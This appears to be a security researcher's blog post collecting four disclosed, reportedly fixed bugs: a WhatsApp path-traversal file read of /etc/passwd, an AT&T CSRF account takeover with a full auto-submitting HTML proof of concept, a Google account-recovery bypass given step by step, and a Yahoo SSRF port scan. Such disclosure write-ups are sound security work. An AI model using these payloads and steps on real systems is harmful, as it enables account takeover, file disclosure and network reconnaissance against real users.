WhatsApp: LFI Vulnerability

Before starting to describe the issue found on WhatsApp i want to introduce the LFI Vulnerability.

The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a “dynamic file inclusion” mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.
This can lead to something as outputting the contents of the file, but depending on the severity, it can also lead to:

  • Code execution on the web server
  • Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS)
  • Denial of Service (DoS)
  • Sensitive Information Disclosure

Local File Inclusion (also known as LFI) is the process of including files, that are already locally present on the server, through the exploiting of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing directory traversal characters (such as dot-dot-slash) to be injected. Although most examples point to vulnerable PHP scripts, we should keep in mind that it is also common in other technologies such as JSP, ASP and others.

The vulnerable link that allows me to download the /etc/passwd file is :

http://media.whatsapp.com/directory/..%252f..%252f..%252f..%252fetc%252fpasswd


and this is the content of the /etc/passwd file

The bug has now been fixed.

AT&T : From CSRF to Full Takeover Account of any user

 

This is the PoC i sent to AT&T

I’ve found a CSRF bug that may lead to full takeover account of a M2X AT&T user account
These are the steps to reproduce the issue:
1)Login into https://m2x.att.com/login
2)Once logged in we have to go to https://m2x.att.com/account
In this page we can see “First Name”,”Last Name”,”Email” forms.If we try to change the values of these forms and subsequently click
on the “Save Changes” button a POST request like this will be generated with no anti-CSRF token:

POST https://m2x.att.com/account

Host: m2x.att.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://m2x.att.com/account
Cookie: mycookies
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 115

first_name=marco1&last_name=cariddi&email=sangunazzu@gmail.com&current_password=&password=&password_confirmation=

There is no anti-CSRF token so it’s vulnerable to CSRF.So now i can create an ad-hoc HTML page like the following to set the value of the
“email” parameter with the email of the attacker.Once the victim has visited the HTML page,the new attacker’s email will be saved in the
victim account and subsequently the attacker could make a Reset password at this page https://m2x.att.com/forgot-password.
So now an email will be sent to the attacker’s email and now the attacker can reset password of the victim’s account.

This is the CSRF Final POC:

<!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN”>

<html>
<head>
<title>How i  Hacked AT&T</title>
</head>

<body onload=”javascript:fireForms()”>
<script language=”JavaScript”>
var pauses = new Array( “1824” );

function pausecomp(millis)
{
var date = new Date();
var curDate = null;

do { curDate = new Date(); }
while(curDate-date < millis);
}

function fireForms()
{
var count = 1;
var i=0;

for(i=0; i<count; i++)
{
document.forms[i].submit();

pausecomp(pauses[i]);
}
}

</script>
<H2>How i  Hacked AT&T</H2>
<form method=”POST” name=”form0″ action=”https://m2x.att.com:443/account”>
<input type=”hidden” name=”first_name” value=”marco1″/>
<input type=”hidden” name=”last_name” value=”cariddi”/>
<input type=”hidden” name=”email” value=”sangunazzu@gmail.com”/>
<input type=”hidden” name=”current_password” value=””/>
<input type=”hidden” name=”password” value=””/>
<input type=”hidden” name=”password_confirmation” value=””/>
</form>

</body>
</html>

 

Google:From Privilege Escalation Vulnerability to Full Takeover Account

 

In this Write-Up i’ll explain how i was able to reset password and have full access to any Google user’s account that haven’t security question enabled.

This is the Bug Report i sent to Google Security Team.

I’ve found a huge bug in Gmail.I’ve found a way to have full access to a Gmail account with no victim’s interaction.This bug can be exploited if the victim hasn’t setted the security question.
These are the steps to reproduce the issue:
1)Go to https://www.google.com/accounts/recovery/?hl=en
Click on “I don’t know my password”   Now in the “Email address” form we have to insert the victim’s gmail email address and subsequently click on the “Continue” button
2)Now in the new page in the “Enter the last password you remember” we have to insert a random password (in my case i’ve used 1122334455)  and subsequently click on the “Continue” button.
3)Now in the new page you can see this message “Can’t access any of these recovery options? Verify your identity by answering multiple questions about your account.” so click on the “Verify your identity” link
4)Now in the “Enter an email address where we can contact you if necessary (Required)” form we have to insert the attacker’s gmail email
and in the “Re-enter email address (Required)” we have to insert again the attacker’s gmail email and subsequently click on the “Continue” button.
5)Now in the “Last password you remember (Required)” form we have to insert a random password (in my case i’ve used 1122334455)
In the “When was the last time you were able to sign in to your Google Account? (Required)” we have to choose a random date (in my case i’ve chosen ‘March 1 1991’)
In the “When did you create your Google Account? (Required)” form we have to choose a random date (in my case i’ve chosen ‘March 1991’)
Now click on the “Continue” button.
6)Now in the new page click on the “Skip these questions” button without answering to the questions.
7)Now in the new page click on the “Submit” button.
When we click on the “Submit” button an email will be sent to the attacker gmail email with the link to reset the password of the victim’s gmail email
.Now the attacker has full access to the victim’s profile.With this bug i can reset the Gmail password of all users that have not setted the security question.

The bug has now been fixed.This is the Video PoC

Yahoo! SSRF/XSPA Vulnerability

 

 

First of describing how i was able to find this bug, i would prefer to introduce the SSRF/XSPA Vulnerability.

An application is vulnerable to Cross Site Port Attacks if the application processes user supplied URLs and does not verify/sanitize the backend response received from remote servers before sending it back to the client. An attacker can send crafted queries to a vulnerable web application to proxy attacks to external Internet facing servers, intranet devices and the web server itself using the advertised functionality of the vulnerable web application. The responses, in certain cases, can be studied to identify service availability (port status, banners etc.) and even fetch data from remote services in unconventional ways.XSPA allows attackers to target the server infrastructure, mostly the intranet of the web server, the web server itself and any public Internet facing server as well. This Vulnerability can be used for:
1) Port Scanning remote Internet facing servers, intranet devices and the local web server itself. Banner grabbing is also possible in some cases.
2) Exploiting vulnerable programs running on the Intranet or on the local web server
3) Fingerprinting intranet web applications using standard application default files & behavior
4) Attacking internal/external web applications that are vulnerable to GET parameter based vulnerabilities (SQLi via URL, parameter manipulation etc.)
5) Reading local web server files using the file:/// protocol handler.

In this blogpost i’m describing how i used the Yahoo! Server to portscan a remote host to see if a port is in open,filtered or closed state.This is the Bug Report i sent to Yahoo! Security.

I’ve found a SSRF in http://add.yahoo.com
These are the steps to reproduce the issue:
1)Go to http://dir.yahoo.com/recreation/games/video_games/titles/action/
2)Now click on the “Suggest a Site” button and subsequently click on the “Standard Consideration”
3)Now click on the “Continue” button
Now in this page we have to fill in 4 forms.In the “Site Title” i’ve inserted ‘asdf’ as value
Now in the “Security Email ID” and “Contact Person” forms we have to insert values of our choice.
Now in the “URL” form we have to insert the target site to see if a certain port is in state filtered,open or closed
Let’s suppose that the port 20 of www.targeturl.com is closed,so in the “URL” form we have to insert “http://www.targeturl.com:20
Now that we have filled in all the form values we have to click on the “Submit” button.Now we will receive an error like this “The following resulted when trying to access your document:

connect: Connection refused” telling us that the port is closed.
Let’s suppose that the port 23 of www.targeturl.com is filtered,so in the “URL” form we have to insert “http://www.targeturl.com:23
if the port is filtered we will receive the following message “The following resulted when trying to access your document:

Request Timeout”
Let’s suppose that the port 21 of www.targeturl.com is open,so in the “URL” form we have to insert “http://www.targeturl.com:21
If the port is open we will receive the following message “Document contains no data”.Based on these three errors we can understand if a port of a remote host is open,filtered or closed.

Now the bug has been fixed.To write this blogpost I referred to this article which is in my opinion one of the best tutorial on SSRF/XSPA Vulnerability.

This is the Video PoC: